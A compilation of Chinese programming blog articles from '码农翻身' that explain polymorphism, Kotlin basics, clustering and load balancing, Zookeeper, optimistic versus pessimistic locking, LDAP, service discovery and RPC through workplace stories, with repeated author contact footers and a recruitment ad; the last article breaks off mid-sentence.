“ 嗯，所有的信息都在Java 中了， 比XML看起来更简洁一些， 果然是十分酸爽。” 张大胖十分感慨 ，“不过，这样一来声明式的信息又四处分散，维护又不方便了。 ”




Bill说： “哪有十全十美的东西？　在编程中根据情况选择吧！”





你看到的只是冰山一角， 更多精彩文章，请移步《码农翻身文章精华》




有心得想和大家分享？ 欢迎投稿 ！ 我的联系方式：微信：liuxinlehan  QQ: 3340792577













优秀人才不缺工作机会，只缺适合自己的好机会。但是他们往往没有精力从海量机会中找到最适合的那个。




100offer 会对平台上的人才和企业进行严格筛选，让「最好的人才」和「最好的公司」相遇。




扫描下方二维码，注册 100offer，谈谈你对下一份工作的期待。一周内，收到 5-10 个满足你要求的好机会！








                    
                    
                    说“空话”，做实事： 谈谈多态

                                                                                

                    

                    

                    
                    
                    最近有初学者问多态有什么用， 思考了一下，就有了这篇文章。
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 什么是多态？





多态是码农们必须要理解理解的一个基本思想， 是面向对象的基石。




但是很多人（包括我）第一次接触多态时都会困惑： 这东西有什么用处？




多态的例子在Java里非常简单，每个初学者都会遇到：






这没什么啊， 不就是把Apple这个类的实例赋值给Fruit 这个抽象类， 然后当我们调用相关方法的时候实际执行的是Apple这个类的方法， 而不是Fruit的方法。




何必要多此一举呢？  为什么要把一个子类的实例赋值给一个父类呢？  没必要啊，直接一点多好：




Apple a = new Apple();

a.getPrice() --> 返回5.0f

a.getName() --> 返回 “Apple”




没错，在这个小例子中， 我们完全可以这么干。
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 没有多态的世界





现在假设编程世界没有多态， 我们没法使用它。   对于上面的例子， 引入两个新的类， 橙子(Orange) 和购物车（ShopCart）:









注意： Apple 和Orange 没有共同的父类Fruit了， 并且Orange类获取价格的方法是getUnitPrice(),  和Apple类的不一样。 









购物车可以添加苹果和橙子， 并且有个计算总价格的方法 : calculateTotalPrice。




在该方法中， 需要判断每个对象是什么类型， 然后调用不同的方法。




要是新加一个香蕉类， 不但需要新加一个addBanana()的方法， 还得小心的修改计算总价的方法： 找到相应的地方添加一个分支专门处理香蕉类。




是不是很痛苦？  
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  请回多态








现在应该能看出抽象类Fruit的作用了， 如果Apple, Orange 都实现了Fruit, 那购物车就变的异常简单：










现在想一想： 为什么购物车类能变得简单而清晰？




因为ShopCart 面对的是一个抽象的概念: Fruit  ,  而不是具体的实现 Apple, Orange, Banana...




它不用关心那些烦人的细节， 只要针对Fruit编程就好。




为什么ShopCart能对Fruit这个抽象的“接口” 进行编程呢？   背后肯定是多态在起作用了！  原来你在这里 ！




这就是我想表达的 说“空话"， 做实事的意思,  抽象类/接口实际上在说“空话”， 而真正做实际事情的是具体的实现类。




但是想说“空话”也得有个载体才行，这个载体就是抽象的概念 Fruit !
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  思考





现在我们应该知道抽象的威力了， 一个好的抽象(Fruit) 能够让代码变的无比简洁。




《设计模式》一书中反复强调的 “针对接口编程，而不是实现编程”  就是这个意思。




可是问题来了： 怎么才能抽象出好的概念呢？




上面的例子很简单， 并且在现实中也有相关的术语，所以很容易得出Fruit这样的概念。




如果是一个大系统， 那就会难的多， 很多时候需要抽象出的概念在现实中并没有对应物， 这就很考验设计者的功力了， 也是面向对象分析和设计比较难的地方 ， 需要经验的积累和大量的实践才行。




你看到的只是冰山一角， 更多精彩文章，请移步《码农翻身文章精华》




有心得想和大家分享？ 欢迎投稿 ！ 我的联系方式：微信：liuxinlehan  QQ: 3340792577




·END·
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今天多个群都炸了锅，原因很简单： Google "招安"了Kotlin , 成为Android 平台的first-class 开发语言。




据说在发布会上，这个消息的宣布获得台下最热烈的欢呼声。 这是为什么？ 难道是因为Android开发者一直羡慕iOS有简单好用的Swift, 但是自己只能用“傻大笨粗” 的Java, 现在终于可以翻身了，Kotlin救世主降临了！




作为热爱技术的码农， 肯定第一时间要去折腾一下。 不要在百度浪费时间， 直奔官网(https://kotlinlang.org)就好。




嗯，官网还算大气， 不过作为开源的语言，应该用个动物做Logo 啊 :-)   参见《这个动物园，两年也逛不完》




1Hello world 的秘密





Hello world很快就映入眼帘：









别看代码很短，里边藏着很多秘密：




1.  这是一个强类型语言， 变量的类型确定以后，就不能改了




没有声明类型的msg 怎么办？  肯定是自动推导出来的， 是个字符串。此外 msg 类型已经确定为字符串， 你要是想把msg改成整数：  msg = 5 ，肯定是要报错的。




强类型有个巨大的优势，就是可以在编译期自动做类型检查， 帮助程序员发现很多错误。




2. 怎么和Go, Scala一样， 把类型放到了变量名的后边， 让人有真气逆行的感觉， 不调整下还真容易走火入魔。为什么要这样？ 




Kotlin 的FAQ上说： We believe it makes the code more readable. Besides, it enables some nice syntactic features, for instance, it is easy to leave type annotations out. Scala has also proven pretty well this is not a problem.




嗯，更有可读性，漂亮的语法特征， 似乎有点道理， 到底是不是这样还得再研究， 既然人家已经确定这样了，就慢慢适应吧。




3.  为了输出hello world终于不用写一个无用的类了！    




但是等等， 这个Kotlin 不是号称可以和Java 100%互操作吗， 那java 程序想调用这些函数怎么办？ 没有类怎么调用？









稍微想一想就会明白， Kotlin背后肯定需要生成一个类， 在这里类中有个静态方法sum， 这样才能让别人使用嘛。




4. 我”热爱 ”的public static void 去哪里了？  System.out去哪儿了




对不起， kotlin需要的是精简的语法， 已经把细节给你隐藏起来了， 如果你用javap 看看背后生成的类，就会看到public static void main() 老老实实的在那里待着呢！




至于System.out, 肯定是自动导入了， 你要是不嫌麻烦，写成java.lang.System.out.println("hello world") 应该也可以运行。




2基本语法





Kotlin支持定义一个只能赋值一次的变量， 其实就是final 了：









这个语法糖还是挺方便的， 要想定义一个真正的变量该怎么办？还有一个关键字： var









至于那些流程控制语句  if, else, for ,while 实在是没什么新奇的，跳过。




这个when 是很不错的， 比java中的switch 不知道要高到哪里去了， 简直让人爱死了。









3类







感觉不错吧？  




声明了一个类， 构造函数中的参数是name和age , 然后就可以当做属性来使用了，不用getter/setter 方法。




唉， 对我这个有分号强迫症的人， 语句之间不写分号还是挺痛苦的， 慢慢适应吧。




4继承和多态










一个类想被继承， 必须标注为open 才行！

一个方法想被override , 展示出多态， 父类的方法也得open , 子类需要声明override！




这个规定要求真是严格啊！




5Data class





在Java中我们经常创建一些只保持数据，而没有啥实际行为的类， 再来点语法糖：









hashCode, equals方法自动生成

toString自动生成

getter/setter自动生成

很贴心吧？




6集合





写程序，基本的数据结构是必备， kotlin也有语法糖前来助阵：







正如你能想到的， Kotlin 可以轻松地调用Java 的集合来做事情。




7总结





Kotlin的特性有很多，没法在这里一一展示， 就体验到这里吧。




总的来说， Kotlin这门语言简化了Java , 完全是从一个是实用派的角度，而不是学院派的角度。




我在写代码的时候，总是有一种写Javascript的感觉。




相比于JRuby , Jython这些一移植到JVM上的语言， Kotlin 和Java 和互操作感觉更加自然，但可能也是受限于Java平台,  写出的代码还是没有Ruby 那么优雅。




每个语言的流行都需要一个引爆点，就像Ruby on Rails 引爆了Ruby 一样， Android 也许是之前不那么流行的Kotlin的引爆点。




如果你是Android 开发者， 可以马上学习下Kotlin ，毕竟有Google的支持，相比Java, Kotlin能极大的减少代码量，代码看起来也清晰易懂， 值得投入。如果是Java 后端程序员， 我觉得可以初步了解， 观望一下。




你看到的只是冰山一角， 更多精彩文章，请移步《码农翻身文章精华》




有心得想和大家分享？ 欢迎投稿 ！ 我的联系方式：微信：liuxinlehan  QQ: 3340792577







码农翻身



用故事给技术加点料





微信号：coderising





小白科普
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                    1分布式





小明的公司有3个系统： 系统A、系统B和系统C ，这三个系统所做的业务不同，被部署在3个独立的机器上运行， 他们之间互相调用（当然是跨域网络的）， 通力合作完成公司的业务流程。






将不同的业务分布在不同的地方， 这就构成了一个分布式的系统，现在问题来了， 系统A是整个分布式系统的“脸面”， 用户直接访问，用户量访问大的时候要么是速度巨慢，要么直接挂掉， 怎么办？ 





由于系统A只有一份， 所以会引起单点失败。




2集群（Cluster）





小明的公司不差钱，就多买几台机器吧， 小明把系统A一下子部署了好几份（例如下图的3个服务器），每一份都是系统A的一个实例， 对外提供同样的服务，这样能睡个安稳觉了，不怕其中一个坏掉了，我还有另外2个呢。  




这3个服务器上的系统就组成了一个集群。









可是对用户来说，一下子出现这么系统A ，每个系统的IP地址都不一样，  到底访问哪一个？ 




如果所有人都访问服务器1.1 ，那服务器1.1 会被累死， 剩下的三个闲死，成了浪费钱的摆设。




3负载均衡（Load Balancer）





小明要尽可能的让3个机器上的系统A 工作均衡一些， 比如有3万个请求，那就让3个服务器各处理1万个（当然，这是理想状况）， 这叫负载均衡。  





很明显，这个负载均衡的工作最好独立出来， 放到独立的服务器上 （例如Ngnix）：



后来小明发现， 这个负载均衡的服务器虽然工作内容很简单，就是拿到请求，分发请求，但是它还是有可能挂掉啊， 单点失败还是会出现。





没办法，只好把负载均衡也搞成一个集群， 不过和系统A的集群有两点不同：




1.  这个新的集群中虽然有两个机器，但我们可以用某种办法，让这个集群对外只提供一个IP地址， 也就是说用户看到的好像只有一个机器。

2. 同一时刻，我们只让一个负载均衡的机器工作， 另外一个原地待命。 如果工作的那个挂掉了，待命的那个就顶上去。









4弹性





如果这3个系统A的实例还是满足不了大量的请求，那就再加服务器！ 




双11来了，用户量是平时的10倍， 小明向领导申请费用又买了几十台服务器，一下子把系统A部署了几十份。  可是双11过后， 流量一下子降下来了，那几十个服务器用不上了，也变成了摆设！




被领导批评以后，小明决定尝试一下云计算，  在云端可以轻松的创建、删除虚拟的服务器， 那样就可以轻松地随着用户的请求动态的增减服务器了。  双11来了就创建虚拟服务器，等到双11过去了就把不用的关掉， 省得浪费钱。 




于是小明的系统具备了一定的弹性。




5失效转移





上面的系统看起来很美好，但是做了一个不切实际的假设： 所有的服务都是无状态的。 换句话说，假设用户的两次请求直接是没有关联的。




但是现实是，大部分服务都是有状态的， 例如购物车。




用户访问系统，在服务器1.1上创建了一个购物车，并向其中加入了几个商品， 然后 服务器1.1 挂掉了， 用户的后续访问就找不到服务器1.1了，这时候就要做失效转移，让另外几个服务器去接管、去处理用户的请求。




可是问题来了，在服务器1.2，1.3上有用户的购物车吗？  如果没有， 用户就会抱怨，我刚创建的购物车哪里去了？




还有更严重的，假设用户是在服务器1.1上登录的， 用户登录过的信息保存到了该服务器的session中， 现在这个服务器挂掉了， 用户的session自然也不见了，当用户被失效转移到其他服务器上的时候，其他服务器发现用户没有登录， 就把用户踢到了登录界面， 让用户再次登录！




状态， 状态，状态！ 用户的登录信息，购物车等都是状态信息，  处理不好状态的问题，集群的威力就大打折扣，无法完成真正的失效转移， 甚至无法使用。




怎么办？  




一种办法是把状态信息在集群的各个服务器之间复制，让集群的各个服务器达成一致，  谁来干这个事情？ 只能是像Websphere, Weblogic这样的应用服务器了。 




还有一种办法， 就是把状态信息集中存储在一个地方， 让集群的各个服务器都能访问到：









小明听说Redis 不错， 那就用Redis来保存吧 ！






（完） 




你看到的只是冰山一角， 更多精彩文章，请移步《码农翻身2016文章精华》或者《码农翻身2017上半年文章精华》




有心得想和大家分享？ 欢迎投稿 ！ 我的联系方式：微信：liuxinlehan  QQ: 3340792577













优秀人才不缺工作机会，只缺适合自己的好机会。但是他们往往没有精力从海量机会中找到最适合的那个。





100offer 会对平台上的人才和企业进行严格筛选，让「最好的人才」和「最好的公司」相遇。




扫描下方二维码，注册 100offer，谈谈你对下一份工作的期待。一周内，收到 5-10 个满足你要求的好机会！
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                    张大胖所在的公司这几年发展得相当不错，业务激增，人员也迅速扩展，转眼之间，张大胖已经成为公司的“资深”员工了，更重要的是，经过这些年的不懈努力，他终于坐上了架构师的宝座。

但是大胖很快发现，这架构师真不是好当的，技术选型、架构设计，尤其是大家搞不定的技术难点，最终都得自己扛起来。沟通、说服、妥协、甚至争吵都是家常便饭，比自己之前单纯做开发的时候难多了。

公司的IT系统早已经从单机转向了分布式，分布式系统带来了巨大的挑战。这周一刚上班，张大胖的邮箱里已经塞满了紧急邮件。

1
小梁的邮件


小梁的邮件里说了一个RPC调用的问题，本来公司的架构组开发了一个RPC框架让各个组去使用，但是各开发小组纷纷抱怨：这个RPC框架不支持动态的服务注册和发现。



张大胖一看这个图就明白怎么回事了，为了支持高并发，OrderService被部署了4份，每个客户端都保存了一份服务提供者的列表，但是这个列表是静态的（在配置文件中写死的），如果服务的提供者发生了变化，例如有些机器down了，或者又新增了OrderService的实例，客户端根本不知道，可能还在傻乎乎地尝试那些已经坏掉的实例呢！

想要得到最新的服务提供者的URL列表，必须得手工更新配置文件才行，确实很不方便。

对于这样的问题，大胖马上就意识到，这就是客户端和服务提供者的紧耦合啊。

想解除这个耦合，非得增加一个中间层不可！

张大胖想到，应该有个注册中心，首先给这些服务命名（例如orderService），其次那些OrderService 都可以在这里注册一下，客户端就到这里来查询，只需要给出名称orderService，注册中心就可以给出一个可以使用的url， 再也不怕服务提供者的动态增减了。



不知道是不是下意识的行为，张大胖把这个注册中心的数据结构设计成为了一个树形结构：



/orderService 表达了一个服务的概念， 下面的每个节点表示了一个服务的实例。 例如/orderService/node2表示的order service 的第二个实例， 每个节点上可以记录下该实例的url , 这样就可以查询了。

当然这个注册中心必须得能和各个服务实例通信，如果某个服务实例不幸down掉了，那它在树结构中对于的节点也必须删除， 这样客户端就查询不到了。



嗯，可以在注册中心和各个服务实例直接建立Session, 让各个服务实例定期地发送心跳，如果过了特定时间收不到心跳，就认为这个服务实例挂掉了，Session 过期， 把它从树形结构中删除。

张大胖把自己的想法回复了小梁，接着看小王的邮件。

2
小王的Master选举


小王邮件中说的是三个Batch Job的协调问题，这三个Batch Job 部署在三台机器上，但是这三个Batch Job同一个时刻只能有一个运行，如果其中某个不幸down掉，剩下的两个就需要做个选举，选出来的那个Batch Job 需要“继承遗志”，继续工作。 



其实这就是一个Master的选举问题，张大胖一眼就看出了本质。

只是为了选举出Master， 这三个Batch Job 需要互通有无，互相协调才行，这就麻烦了！

要不弄个数据库表？ 利用数据库表主键不能冲突的特性，让这三个Batch Job 都向同一个表中插入同样的数据，谁先成功谁就是Master ！

可是如果抢到Master的那个Batch Job挂掉了，别人永远就抢不到了！ 因为记录已经存在了， 别的Batch Job 没法插入数据了！

嗯，还得加上定期更新的机制，如果一段时间内没有更新就认为Master死掉了，别的Batch Job可以继续抢.....  不过这么做好麻烦！

换个思路，让他们也去一个注册中心去大吼一声：“我是master!”， 谁的声音大谁是Master 。 

其实不是吼一声，三个Batch Job启动以后，都去注册中心争抢着去创建一个树的节点（例如/master ），谁创建成功谁就是Master （当然注册中心必须保证只能创建成功一次，其他请求就失败了），其他两个Batch Job就对这个节点虎视眈眈地监控，如果这个节点被删除，就开始新一轮争抢，去创建那个/master节点。



什么时候节点会被删除呢？ 对，就是当前Master的机器down掉了 ！ 很明显，注册中心也需要和各个机器通信，看看他们是否活着。 



等等，这里还有一个复杂的情况， 如果机器1并没有死掉，只是和注册中心长时间连接不上，注册中心会发现Session超时，会把机器1创建的/master删除。 让机器2和机器3去抢，如果机器3成为了master, 开始运行Batch Job,   但是机器1并不知道自己被解除了Master的职务， 还在努力的运行Batch Job，这就冲突了！

看来机器1必须得能感知到和注册中心的连接断开了，需要停止Batch Job才行，等到和注册中心再次连接上以后，才知道自己已经不是master了，老老实实地等下一次机会吧。

无论哪种方案，实现起来都很麻烦，这该死的分布式！

先把思路给小王回复一下吧。接着看小蔡的邮件。

3
小蔡的分布式锁


小蔡的邮件里说的问题更加麻烦，有多个不同的系统（当然是分布在不同的机器上！），要对同一个资源操作。 



这要是在一个机器上，使用某个语言内置的锁就可以搞定，例如Java的synchronized ， 但是现在是分布式啊，程序都跑在不同机器的不同进程中， synchcronized一点用都没有了！

这是个分布式锁的问题啊！ 

能不能考虑下Master选举问题中的方式，让大家去抢？ 谁能抢先在注册中心创建一个/distribute_lock的节点就表示抢到这个锁了，然后读写资源，读写完以后就把/distribute_lock节点删除，大家再来抢。 

可是这样的话某个系统可能会多次抢到，不太公平。

如果让这些系统在注册中心的/distribute_lock下都创建子节点， 然后给每个系统一个编号，会是这个样子：



然后各个系统去检查自己的编号，谁的编号小就认为谁持有了锁， 例如系统1。

系统1持有了锁，就可以对共享资源进行操作了， 操作完成以后process_01这个节点删除， 再创建一个新的节点（编号变成process_04了）：



其他系统一看，编号为01的删除了，再看看谁是最小的吧，是process_02，那就认为系统2持有了锁，可以对共享资源操作了。 操作完成以后也要把process_02节点删除，创建新的节点。这时候process_03就是最小的了，可以持有锁了。



这样循环往复下去......  分布式锁就可以实现了！

看看，我设计的这个集中式的树形结构很不错吧，能解决各种各样的问题！ 张大胖不由得意起来。

好，先把这个想法告诉小蔡，实现细节下午开个会讨论。

4
Zookeeper


正准备回复小蔡的时候，大胖突然意识到，自己漏了一个重要的点，那就是注册中心的高可用性，如果注册中心只有那么一台机器，一旦挂掉，整个系统就玩完了。

这个注册中心也得有多台机器来保证高可用性，那个自己颇为得意的树形结构也需要在多个机器之间同步啊，要是有机器挂掉怎么办？ 通信超时怎么办？ 树形结构的数据怎么在各个机器之间保证强一致性？ 

小王、小梁、小蔡的原始问题没有解决，单单是这个注册中心就要了命了。 以自己公司的技术实力，搞出一套这样的注册中心简直是Mission Impossible !

大胖赶紧上网搜索，看看有没有类似的解决方案，让大胖感到万分幸运的是，果然有一个，叫做Zookeeper ！ 

Zookeeper 所使用的树形结构和自己想象的非常类似，更重要的是，人家实现了树形结构数据在多台机器之间的可靠复制，达到了数据在多台机器之间的一致性。并且这多台机器中如果有部分挂掉了/或者由于网络原因无法连接上了， 整个系统还可以工作。 

大胖赶快去看Zookeeper的关键概念和API：

1.  Session ： 表示某个客户系统（例如Batch Job）和ZooKeeper之间的连接会话,  Batch Job连上ZooKeeper以后会周期性地发送心跳信息， 如果Zookeepr在特定时间内收不到心跳，就会认为这个Batch Job已经死掉了, Session 就会结束。

2. znode :  树形结构中的每个节点叫做znode， 按类型可以分为永久的znode（除非主动删除，否则一直存在），临时的znode（Session结束就会删除）和 顺序znode（就是小蔡的分布式锁中的process_01,process_02.....）。

3.  Watch ： 某个客户系统（例如Batch Job）可以监控znode， znode节点的变化（删除，修改数据等）都可以通知Batch Job， 这样Batch Job可以采取相应的动作，例如争抢着去创建节点。

嗯，这些概念和接口应该可以满足我们的要求了， 就是它了，下午召集大家开会开始学习Zookeeper吧。 

后记：本文从使用者的角度描述了Zookeeper有什么用处，至于它内部是如何工作，那是另外一个Big topic了，我们以后再讲。

（完）

你看到的只是冰山一角， 更多精彩文章，请移步《2016文章精华》或者《2017上半年文章精华》
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                    小白科普：悲观锁和乐观锁

                                                                                

                    

                    

                    
                    
                    旺财和小强生活在一个网上商城的系统中， 是一对儿线程好基友。 




星期一刚上班，旺财接到领导电话说，要把一个商品的库存减少20， 旺财不敢怠慢，赶快把库存取出来一看，哦，现在有1000个。




与此同时，小强也接到电话说要把同一商品的库存减少30， 他一看，哦，现在有1000个。




旺财计算出最新的库存值980， 保存！




小强也计算出最新的库存值970， 保存 !  




旺财的数据被小强覆盖了！




领导一看，本来卖出了50个商品，现在库存只扣了30个，这样持续下去就天下大乱了。 




旺财和小强， 各打二十大板， 长长记性！




小强说：“哥，要不我们还是想个办法吧，再这样下去要被打死的。”




旺财悲催地说： “这样， 以后我们每次访问库存之前，都要先加锁，加了锁，就禁止别人再进入访问，只能等待持有锁的人来释放。”




星期二， 领导让旺财再次把库存减少20 ， 旺财这次万分小心，先把库存给锁住，然后慢慢修改。 




小强也接到了把库存减少的指令， 但是旺财哥已经把库存锁住了， 不能操作，小强只好去阻塞车间喝茶聊天，然后到就绪车间等待调度运行。 




好不容易等到可以再次执行了，小强一看，这库存怎么还锁着呢！？ 只好再次去阻塞车间喝茶。 




领导一看， 小强你怎么回事， 老是喝茶聊天？ ！  还干不干活了？




小强争辩说旺财哥一直锁着库存，我没法操作。




领导不管这些， 把小强和旺财又打了二十大板。 




（备注： 这种加锁的方式就是悲观锁了，悲观锁正如其名，每次取读写数据时候总认为数据会被别人修改，所以将数据加锁，置于锁定状态， 不让别人再访问。缺点是如果持有锁的时间太长，其他用户需要等待很长时间。）




旺财说： “兄弟，这一次哥对不住你啊，处理得慢了一些， 不过哥刚才挨打的时候想了一个好办法：乐观锁。”




小强说：“拉倒吧你，屁股都快被打烂了还乐观？”




“你听我说嘛， 我们在那个库存字段的旁边，再加上一个版本(version)的字段， 例如刚开始的时候（库存= 1000， 版本=1）， 每次你去读的时候不仅要读出库存，还要读出版本号， 等到你修改了库存，往回写的时候一定要检查一下版本号，看看和你读的时候是否一样。”




“如果不一样呢？”  小强问




“那就放弃这次写的操作，重新读取库存和版本号， 重新来过。”




“如果一样呢？ ”




“那就放心大胆地把新的库存值写回去。把版本号也加1”




“我似乎有点明白了，我们试试，不过你要想好，我可不想再挨板子了。”




星期三， 旺财奉命把库存减去30， 他先读到了（库存= 1000， 版本=1）；  小强也要改库存了，他要把库存减去50， 于是他也读到了（库存= 1000， 版本=1）。 




旺财计算出新的库存值970 ，写回成功，现在版本变成了（库存= 970， 版本=2）。 




小强也计算出新库存950 ， 也准备写回，他战战兢兢地去看最新的版本号， 已经变成版本2了， 按照之前的约定，只好重新读取了。




小强再次读取（库存= 970， 版本=2） ， 计算出最新缓存值920（970减去50）， 再次试图更新，没想到又被别人抢了先，现在版本号已经变成3了 ，最新的数据是（库存= 900， 版本= 3）。




唉， 只好重新来过， 计算出最新缓存值850（900减去50），第三次终于更新成功了， 最新的库存是 （库存=850， 版本= 4）




领导看到旺财和小强忙得热火朝天，一刻不停，并且库存值也没有乱掉， 满意地点了点头：好同志啊。




（备注： 这种方式就是所谓的乐观锁了，旺财和小强这次乐观了一点，觉得一般情况下不会有太多人修改库存，所以没有加锁，放心地去操作，只有在最后更新的时候才去看是否冲突。 这种方式适合于冲突不多的场景，如果冲突很多，数据争用激烈，会导致不断地尝试，反而降低了性能。）




你看到的只是冰山一角， 更多精彩文章，请移步《2016文章精华》或者《2017上半年文章精华》
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                    小白科普：LDAP有什么用？

                                                                                

                    

                    

                    
                    
                    1
认证的烦恼


小明的公司有很多IT系统， 比如邮箱、SVN、Jenkins , JIRA,VPN, WIFI...... 等等 。 





新人入职时需要在每个系统中申请一遍账号，每个系统对用户名和密码的要求还不一样， 实在是烦人。 




这还不算， 按照公司的策略， 这些密码每隔三个月还得更改一次，每次都是一次大折腾。 




离职的时候， 各个账号又都得删除一遍，太折磨了。




能不能让这些系统用同一套用户名和密码呢？  申请一次，到处使用！




“嗯，这其实是一个用户统一认证的问题” 小明做了一个总结。




怎么去实现？   当然是开发一套系统了， 关键是要把账号统一起来用Mysql 数据库来保管， 然后用自己擅长的SpringMVC对外提供JSON接口， 别的系统比如SVN想做用户认证的时候，调用一下这个接口，把用户名和密码传过来，系统就会判断认证是否成功。









被这么一个美好的前景激励着，小明像打了鸡血，充满激情地、迅速地把这个系统开发出来了。

2
推广


他先找了SVN的管理员，结果栽了跟头，人家根本不买账，理由很简单： “你这个系统稳定性、性能怎么样？  还有，你这接口是自己定义的，也不是业界标准，我甚至得开发代码和你做集成， 太麻烦。  对了， 你怎么不用LDAP啊？”





LDAP ? 这是什么鬼？  小明没放在心上， 又去找邮箱和VPN的负责人， 都被残忍地拒绝了， 甚至连理由都一样。 




最后的希望集中在Jenkins身上， 管理Jenkins的是自己的哥们张大胖，  中午吃饭的时候小明向基友哭诉了自己的悲惨遭遇，希望能博得一点同情。 




“我觉得你的想法很好啊，我们就缺你这样的实干家， 你说说接口是什么样的？” 大胖路见不平，决定为好基友两肋插刀。




“其实我这里提供了一个HTTP+JSON的接口， 你的Jenkins调用一下就行了”  小明满怀期望。




“这个.... 虽然我没有仔细研究过， 但是Jenkins 好像只支持自定义的用户认证，还没有LDAP。”  大胖的刀还没拔出来就放回去了。




看来推广又要失败了。




3
LDAP



“这个LDAP是什么东西，你们的系统为什么都要支持它？” 小明愤愤不平地问道。




“LDAP是Lightweight Directory Access Protocol ， 即轻量级目录访问协议， 用这个协议可以访问提供目录服务的产品，例如OpenLDAP。 ”




“目录服务？”




“对， 比如公司有个员工列表名单， 对于一个员工，你能查到他的电话，工位，部门等各种信息， 这就是一个目录啊。”




“听起来很适合保存一个公司员工的账号和密码啊” 小明说。




“是啊，这个目录服务啊，存储数据的方式有点特殊，完全不像我们熟知的关系数据库， 数据都在表中，一行一行的，一目了然，这个OpenLDAP是以树的方式存储的。 比如一个人的信息是这样的：



小明说：“ 有点古怪，不过这很像文件系统的目录树， 每个目录都有属性，可以存储信息，比如用户名和秘密，但是查询的时候还得一层一层的来，多麻烦， 为啥不用关系型数据库，直接一个select 不就出来了 ”





张大胖说： “我对LDAP研究不深， 但是我知道LDAP速度快， 非常快，比当今最快的数据库还要快。“




“怎么可能，现在的关系数据库多强悍啊。”




“其实LDAP主要的应用场景是查询多而修改极少，查询和修改的比率是10:1 甚至更高， 那就充分发挥LDAP的优势了，因为没有事务处理，那数据库的速度可是比不上。 还有LDAP能存储海量的数据，还可以轻松地在各个系统之间复制，可用性超高。 ”




小明想想确实是这样，公司员工信息变化本来就很少，我们把用户名密码存进去， 三个月才改一次， 查询的操作远远高于修改，如果LDAP专注于优化查询，又没有事务处理， 就像一个缓存一样， 肯定要更快了，  怪不得很多软件都支持LDAP做用户认证，这是个重要原因啊。




小明有点沮丧，觉得自己在没有充分调查研究的情况下，又造了一个轮子。




既然如此，那就搭建一个支持LDAP的目录服务器吧， 小明这一次吸取了教训，先说服了领导，在领导的支持下，进行了跨部门的沟通，经过艰苦的努力，各个系统终于搞成了统一认证， 现在的结构是这样的：









小明的努力没有白费， 除了学到技术外，还得到了公司的认可，年底的时候给他发了一个领导力的奖，奖励他勇于走出自己的工作岗位、跨部门的与同事沟通，用自己的专业能力带来大家完成了用户的统一认证，极大提高了工作的效率。 



（完）
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                    小白科普：服务那点事儿

                                                                                

                    

                    

                    
                    
                    小明的公司向电子商务领域进军，开发了一个电商系统，功能没什么新奇的，无非就是用户管理、商品管理、订单管理、商品详情页、库存管理、支付管理等等。 





系统刚开发的时候，所有的功能都放在一起，部署在一个机器上，这种应用被称为单体应用（monolithic application） ， 由于公司也没什么名气，流量也不大，单体应用可以轻松应对。 









随着公司加大宣传力度， 流量越来越大， 这种单体应用的弊端越来越明显。 




比如上周搞了一个宣传活动，注册用户送优惠券，那个用户管理的模块访问量暴涨， 小明虽然添加了几台虚拟服务器来做负载均衡应急， 但是这些新的服务器除了用户管理模块外，不得不连带其他模块一起部署（单体应用嘛）， 真是一种巨大的浪费。





小明不由地想： 要是能把用户管理单独拎出来就好了， 这样的话一个机器上就不部署别的应用了，专门部署用户管理，一个机器上可以部署好几个！ 多节省机器啊。




此外，随着逻辑的增加，应用变得越来越大，快长成一个接近200M的“大胖子”了， 各个模块之间也建立了千丝万缕的联系，慢慢地业务逻辑绞成了一团，原先定义良好的接口也变得混乱不堪，每次代码修改和系统上线都是一次重大挑战。 




小明向领导建议： 把各个模块拆分成小应用吧， 让他们可以独立开发，灵活的部署。






如果哪个应用流量比较大，那就多部署几个，哪个应用用得少， 就少部署几个。





每个小应用可以独立开发、部署，非常灵活。 




当然，应用之间还少不了交互，每个应用都得对外提供接口让别人访问， 例如想获得一个用户的信息就得访问这个URL : http://192.168.0.10/user/<userID>




这样的每个接口可以称为服务(Service)。 




可是问题来了，对于每个应用来说，如果部署了多份，每个服务也会有多个实例， 有多个URL， 到底要调用哪一个呢？ 

http://192.168.0.10/user/<userID>

http://192.168.0.12/user/<userID>

http://192.168.0.13/user/<userID>




更烦人的是， 刚刚调用了192.168.0.13这个机器上的服务，过了一会儿， 由于流量小，不需要那么多机器， 这个机器上的服务实例下线了，就无法进行第二次调用了。




看来一个应用不能和特定机器上的服务绑死啊！




小明想了一个办法： 想要调用服务之前，先在一个叫做注册中心的地方根据名称查找一个服务，比如想查看用户信息了，可以这么干：




支付管理：给哥们来个getUserInfo的服务！




注册中心（忙活了半天）： 用这个吧 http://192.168.0.12/user/<userID>， 他的负载比较小




......支付管理开心地使用.....




支付管理：再给哥们来个getUserInfo的服务




注册中心： 用这个吧 http://192.168.0.13/user/<userID>， 刚才那个半天都不给我联系了，估计是下线了。




但是注册中心怎么知道有哪些服务呢？  




小明早已想到这一层，他让各个服务主动前来报到，注册。




注册了还不算完， 各个服务必须定期前来签到（行业黑话叫做心跳），让注册中心知道服务还活着。









这种办法其实就叫做服务的注册和发现。




小明充分发挥了抽象的能力，他把调用方称为服务的消费者（Consumer）, 用户管理、订单管理、商品管理这些应用称为服务提供者(Provider)， 得到了下面这个图：









小明很得意：“看看我这个抽象多漂亮！”




他马上把这个宝图“献”给了领导， 领导看了一眼说： 这个图看着好眼熟啊， 奥，对了，我在Dubbo那里见过， 还有，当年我做SOA的时候也是用这种思路做服务的注册和查找， 看来我们现在遇到的问题和当年很类似嘛！





小明听了以后有点失望，失望之余又大为感慨： 看来我又造了一次轮子，技术在变， 但是基本的思想一直没变啊！




（完） 
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                    小白科普：Netty有什么用？

                                                                                

                    

                    

                    
                    
                    随着移动互联网的爆发性增长，小明公司的电子商务系统访问量越来越大，由于现有系统是个单体的巨型应用，已经无法满足海量的并发请求，拆分势在必行。






在微服务的大潮之中， 架构师小明把系统拆分成了多个服务，根据需要部署在多个机器上，这些服务非常灵活，可以随着访问量弹性扩展。







世界上没有免费的午餐， 拆分成多个“微服务”以后虽然增加了弹性，但也带来了一个巨大的挑战：服务之间互相调用的开销。




比如说：原来用户下一个订单需要登录，浏览产品详情，加入购物车，支付，扣库存等一系列操作，在单体应用的时候它们都在一台机器的同一个进程中，说白了就是模块之间的函数调用，效率超级高。 




现在好了，服务被安置到了不同的服务器上，一个订单流程，几乎每个操作都要越网络，都是远程过程调用(RPC)， 那执行时间、执行效率可远远比不上以前了。




远程过程调用的第一版实现使用了HTTP协议，也就是说各个服务对外提供HTTP接口。 小明发现，HTTP协议虽然简单明了，但是废话太多，仅仅是给服务器发个简单的消息都会附带一大堆无用信息：

GET /orders/1 HTTP/1.1                                                                                             

